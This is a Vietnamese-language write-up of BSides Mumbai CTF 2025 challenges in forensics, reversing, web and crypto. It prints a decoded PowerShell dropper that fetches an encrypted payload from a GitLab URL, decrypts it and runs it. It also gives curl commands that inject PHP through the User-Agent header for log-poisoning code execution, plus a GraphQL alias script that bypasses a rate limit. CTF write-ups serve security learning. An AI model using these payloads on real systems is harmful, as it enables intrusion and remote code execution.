# Bside Mumbai CTF 2025
## Forensics
@daq
### 1. Disk Message
>Description: My friends like to send me cryptic messages. This time he sent something related to disks! Can you find what he wants to say?
>
File được cung cấp: `disk.enc`
Nhận thấy `.enc` ko phải là extension của file disk mà bắt đầu với `powershell -EncodedCommand...`
Đây thực chất là 1 đoạn script powershell đã được encode

Sau đó dùng code python sau để decode
```python
import re
import base64
from hashlib import sha256
with open('disk.enc', 'rb') as f:
data = f.read().decode('ascii', errors='ignore')
b64 = re.search(r'-EncodedCommand\s+([A-Za-z0-9+/=]+)', data).group(1)
decoded = base64.b64decode(b64).decode('utf-16le')
print(decoded)
```
Sau khi chạy code thì sẽ được kết quả dưới đây
```
$e=(new-object Net.WebClient).DownloadString(
[System.Text.Encoding]::UTF8.GetString(
[System.Convert]::FromBase64String(
'aHR0cHM6Ly9naXRsYWIuY29tLy0vc25pcHBldHMvNDg2NzQyOC9yYXcvbWFpbi91cGRhdGUuZW5j'
)
)
);
$ed=[System.Convert]::FromBase64String($e);
$maes=new-object "System.Security.Cryptography.AesManaged";
$maes.IV=$ed[0..15];
$maes.Mode=[System.Security.Cryptography.CipherMode]::CBC;
$maes.KeySize=256;
$maes.BlockSize=128;
$maes.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;
$maes.Key=[System.Security.Cryptography.HashAlgorithm]::Create('sha256').ComputeHash(
[System.Text.Encoding]::UTF8.GetBytes(
(& cmd /c vol).Split()[-1].Trim()
)
);
$dc=$maes.CreateDecryptor();
$dm=$dc.TransformFinalBlock($ed, 16, $ed.Length - 16);
Set-Content -Path "message.exe" -Value $dm -AsByteStream -NoNewline;
.\message.exe
```
Có thể thấy mã base64 `aHR0cHM6Ly9naXRsYWIuY29tLy0vc25pcHBldHMvNDg2NzQyOC9yYXcvbWFpbi91cGRhdGUuZW5j`
Sau khi giải mã sẽ được `https://gitlab.com/-/snippets/4867428/raw/main/update.enc`
Như vậy, đoạn script tải 1 file từ gitlab, decrypt nó bằng AES-256-CBC và thực thi nó
Trong script có thể thấy dòng `(cmd /c vol).Split()[-1]`
Đó là lệnh để lấy số seri của ổ C
Tìm được mã số seri là `6D8A-13B0`
Như vậy khóa AES là `SHA256("6D8A-13B0")`
Tiếp theo, tải file `update.enc` từ đường link đã tìm thấy bên trên và nhận thấy file đó đã được decrypt
Dùng code python sau để tìm theo format của flag trong nhị phân
```python
import re
re.findall(rb'BMCTF\{.*?\}', data)
```
Output sẽ là `[b'BMCTF{n0t_3very0n3s_cup_of_t34}']`
Như vậy flag cuối cùng là
```
BMCTF{n0t_3very0n3s_cup_of_t34}
```
### 2.Logarithms
>Description: I was studying about logarithms and suddenly thought of making this challenge. Don’t know how both are related though
File được cung cấp: `access.log`
Trong file đó có thể thấy `index.php`, thử đến đó

Nhận thấy rằng page được truyền trực tiếp đến `include()`, nên mình có thể inject PHP vào access.log sau đó thực thi nó
Dùng header `User-Agent` để inject vào log PHP, mỗi request sẽ thêm vào 1 entry mới
Viết khóa AES, tới /tmp/key
```
curl -s \
-H "User-Agent: <?php file_put_contents('/tmp/key', str_rot13('diNbkitqV5riXS69fTlyAj==')); ?>" \
"http://challenge/index.php?page=logs/access.log"
```
Viết 6 đoạn ciphertext đến `/tmp/s0 … /tmp/s5`
```python
SEGMENTS=(
dhhfp88dfgL=
Ys4tW4mWgOf=
bi3wo2dGq8H=
b5evSgbsaWx=
+Sfbx/gllSD=
dBYtUX9UAlV=
)
for i in "${!SEGMENTS[@]}"; do
curl -s \
-H "User-Agent: <?php file_put_contents('/tmp/s$i', '${SEGMENTS[i]}'); ?>" \
"http://challenge/index.php?page=logs/access.log"
done
```
Thêm log vào 1 lần nữa để thực thi tất cả các injection
`http://challenge/index.php?page=logs/access.log`
Bây giờ, ở server ta đã có
`/tmp/key` : chứa rot13 của key base64 thật
`/tmp/s0 … /tmp/s5`: mỗi cái chứa chunk rot13 của base64 của ciphertext
Tiếp theo là extract và decode bằng code python sau
```python
import base64, codecs
from Crypto.Cipher import AES
# 1. Load and rot13‐decode the key
with open('/tmp/key') as f:
key_b64 = codecs.decode(f.read().strip(), 'rot_13')
key = base64.b64decode(key_b64)
# 2. Read, rot13‐decode, Base64‐decode, and concatenate ciphertext segments
cipher = b''
for i in range(6):
seg_rot13 = open(f'/tmp/s{i}').read().strip()
seg_b64 = codecs.decode(seg_rot13, 'rot_13')
cipher += base64.b64decode(seg_b64)
# 3. Decrypt with AES-128-ECB and strip PKCS#7 padding
dec = AES.new(key, AES.MODE_ECB).decrypt(cipher)
pad = dec[-1]
flag = dec[:-pad].decode()
print(flag)
```
Từ đó sẽ ra flag
```
BMCTF{1_Kn0w_Ab0uT_A35_4ND_L0g5!!}
```
## Reverse Engineering
### XORyy
>Description: I found this program in the trashbin, does this belong there?
Đầu tiên thử kiểm tra xem đây là loại file gì

Sau đó thử strings file này

Như vậy là đã ra flag
```
BMCTF{X0R_Is_Fun}
```
## Web
### 1. Operation Overflow
>Description: Guess the secret number and I’ll give you the flag. Sounds easy, doesn’t it? But this isn’t your average guessing game — let’s see how clever you really are.

Thấy một trang web mà mình phải đoán số từ 1 đến 100,000 và nếu đoán đúng số thì sẽ được flag
Nhưng có limit là chỉ 10 lượt đoán, sau đó sẽ không được submit nữa, như vậy limit là 10 request

Như vậy cần bypass limit bằng Graphql Alias
GraphQL cho phép chúng ta thực hiện nhiều query trong một request duy nhất bằng cách sử dụng các alias
Thay vì gửi rất nhiều request cho nhiều số thì mình có thể gộp chúng lại
Chúng ta có thể check tới 10,000 số mà chỉ trong 1 request
Sử dụng code python sau để check 10,000 số cùng lúc nhưng chỉ trong 1 request duy nhất, từ đó chỉ cần 10 request để check hết 100,000 số mà không sợ bị vượt quá limit đã cho
```python
import requests
URL = "http://localhost:4000/graphql"
HEADERS = {
"Content-Type": "application/json",
"Origin": "http://localhost.com:4000",
"Referer": "http://localhost.com:4000/",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.0",
}
COOKIES = {
"connect.sid": "s%3Au9bfSbUSXIohLXqTZYLb9De1zgLifUie.WLVuSARgw0f6o%2F8ZsPoINXwnFFeh%2Bd9Q6k8IGk9UOTo"
}
def build_query(start, end):
query_parts = []
for i in range(start, end):
query_parts.append(
f'alias{i}: guessNumber(number: {i}) {{ correct message flag }}'
)
return "query { " + "\n".join(query_parts) + " }"
def main():
step = 10000
for batch in range(10):
start = batch * step + 1
end = start + step
print(f"[*] Sending numbers from {start} to {end - 1}...")
query = build_query(start, end)
payload = {"query": query}
response = requests.post(URL, json=payload, headers=HEADERS, cookies=COOKIES)
if response.status_code != 200:
print(f"[!] Request failed with status code {response.status_code}")
print(response.text)
break
data = response.json().get("data", {})
for alias, result in data.items():
if result["correct"]:
print(f"[+] Found the correct number: {alias[5:]}")
print(f"Message: {result['message']}")
print(f"Flag: {result['flag']}")
return
print("[-] Finished. No correct number found in range.")
if __name__ == "__main__":
main()
```
Sau khi chạy code xong sẽ ra flag

```
FLAG: BMCTF{4l14s_br34k_l1m1ts}
```
### 2. Worthless
> @Haizzzzzzzzz
*Link tải source code*
https://github.com/awwfensive/BSdiesMumbaiCTF-Repo/tree/main/worthless
Ban đầu, ta thấy phần login của trang web và phần tạo tài khoản


Sau khi tạo tài khoản và đăng nhâp thì ta thấy được trang web có hai tính năng chính là Search Stocks và Add Stocks


Sau khi add một vài Stocks thì ta thấy chúng không có gì bất thường cả
Tiếp theo ta tải file từ phần Export portfolio thì ta nhận được một file `portfolio.pkl`.Sau khi mở file thì thông tin trong đó chỉ là nội dung các Stocks mà ta đã add vào.

Phần Import thì chỉ chi phép ta truyền vào file pkl và chỉ chấp nhận file pkl có nội dung đúng với form của một Stocks
Em chỉ làm được đến đoạn này, em có tham khảo code của anh Thảo cũng như code của một số người chơi khác thì em đoán rằng mình phải Import vào trang web một file fkl chứa code nhắm mục đích đọc được file flag.txt của trang web nhưng sau khi em thử nhiều cách thì em vẫn chưa làm dc:((

```
FLAG: BMCTF{pretty_lil_baby_you_say_that_maybe_youll_be_thinking_of_me_and_try_to_H4CK_me}
```
## Crypto
@ansobad
### 1. Trixie Prixie
File `Trixie_Prixie.py `– mã nguồn Python.
File `key.npy` – chứa một ma trận số nguyên 4x4.
File `cipher.txt` – chứa chuỗi base64, có vẻ là kết quả mã hóa.
Tải file `key.npy` tôi thấy được:

Mở file: Trixie_Prixie.py
```python
key = generate_valid_matrix()
fake_key = np.rot90(key)
cipher = encrypt_message(flag, key)
np.save("key.npy", fake_key)
```
Đây là fake key, cần xoay ngược lại để lấy key thật.
Vậy ta phải phục hồi lại key gốc bằng cách xoay ngược rot90.
```python
def encrypt_message(message, key, block_size=4):
message_bytes = [ord(c) for c in message]
while len(message_bytes) % block_size != 0:
message_bytes.append(0)
encrypted = []
for i in range(0, len(message_bytes), block_size):
block = np.array(message_bytes[i:i+block_size])
enc_block = key @ block % 256
encrypted.extend(enc_block)
return bytes(encrypted)
```
Mỗi block 4 byte → nhân với key dạng ma trận 4x4 → $modulo256 (C = K × P mod 256)$
Đảo ngược quá trình: `P = K⁻¹ × C mod 256`
Từ `key.npy` (fake key) → xoay ngược 90° để lấy lại key thật: `real_key = np.rot90(fake_key, k=-1)`
Tính nghịch đảo modular của key: `K_inv = Matrix(real_key.tolist()).inv_mod(256)`
Giải mã block: `P_block = (K_inv @ C_block) % 256`
Mở: `cipher.txt`
```
oo531K3aO9Ayq19H7G2wOGyzpun2A8VW
```
Đây là chuỗi base64 giải mã base64 để lấy raw bytes
Chia thành các block 4 bytes → decrypt như trên :>
```python
import numpy as np
import base64
import sympy
fake_key = np.load("key.npy")
real_key = np.rot90(fake_key, k=-1)
key_inv = sympy.Matrix(real_key.tolist()).inv_mod(256)
key_inv_np = np.array(key_inv).astype(np.int64)
with open("cipher.txt", "r") as f:
cipher_b64 = f.read().strip()
cipher_bytes = base64.b64decode(cipher_b64)
cipher_blocks = np.frombuffer(cipher_bytes, dtype=np.uint8).reshape(-1, 4).T
decrypted = (key_inv_np @ cipher_blocks) % 256
flat = decrypted.T.flatten()
plaintext = ''.join(chr(b) for b in flat if b != 0)
print("Flag:", plaintext)
```
Sau khi chạy code ra được flag
```
FLAG: BMCTF{Matrixie_crypt10n}
```
### 2. Too small I guess
N = `57003853477618592533708139357440215706141092564456154826439718767682290353899`
c = `16088604257693894556768626620517616259596646357071343869173417352209986726562`
e = `65537`
Theo tôi: Đây là bài toán giải mã RSA: Cho `N`, `e`, và bản mã `c` để làm được bài này thì cần có tý công thức, lí thuyết của RSA cơ bản
Nghĩa là giải mã bản mã `c` để tìm `m`
RSA có dạng:
$$c = m^e \mod N$$
Muốn giải được `m`, cần khóa riêng `d`, rồi dùng:
$$m = c^d \mod N$$
Chỉ cần `N`, `e`, `c` ⇒ rõ ràng là mã hóa bằng RSA 1 lớp. Không có padding hay lồng thêm thuật toán phụ, nên áp dụng công thức trực tiếp.
Phân tích N thành $p × q$ của bài này có nhiều chữ số nên chạy hơi lâu nên tôi dùng `Factordb`:
`p = 228337825920501024345892620188308555741`
`q = 249647001095058483196231850349361480039`
Tính totient φ(N)
$φ(N)=(p-1)(q-1)$
Cái này quan trọng để tính nghịch đảo khóa riêng; $φ = (p - 1) * (q - 1)$
Tính khóa riêng ( chỗ này tôi không rõ nên tra chat)
Khóa riêng `d` là:
$$d \equiv e^{-1} \mod \varphi(N)$$
Tức là: tìm một số `d` sao cho:
$$e \times d \equiv 1 \mod \varphi(N)$$
```python
from Crypto.Util.number import inverse
d = inverse(e, phi)
```
Cuối cùng giải mã nó: `m = pow(c, d, N)` chuyển về thành dạng byte
```python
from Crypto.Util.number import long_to_bytes
plaintext = long_to_bytes(m)
```
Code:
```python
from Crypto.Util.number import inverse, long_to_bytes
N = 57003853477618592533708139357440215706141092564456154826439718767682290353899
e = 65537
c = 16088604257693894556768626620517616259596646357071343869173417352209986726562
p = 228337825920501024345892620188308555741
q = 249647001095058483196231850349361480039
phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(c, d, N)
plaintext = long_to_bytes(m)
print("Flag:", plaintext.decode(errors="ignore"))
```
Cuối cùng tìm được flag
```
FLAG: BMCTF{S1z3_Matt3r5}
```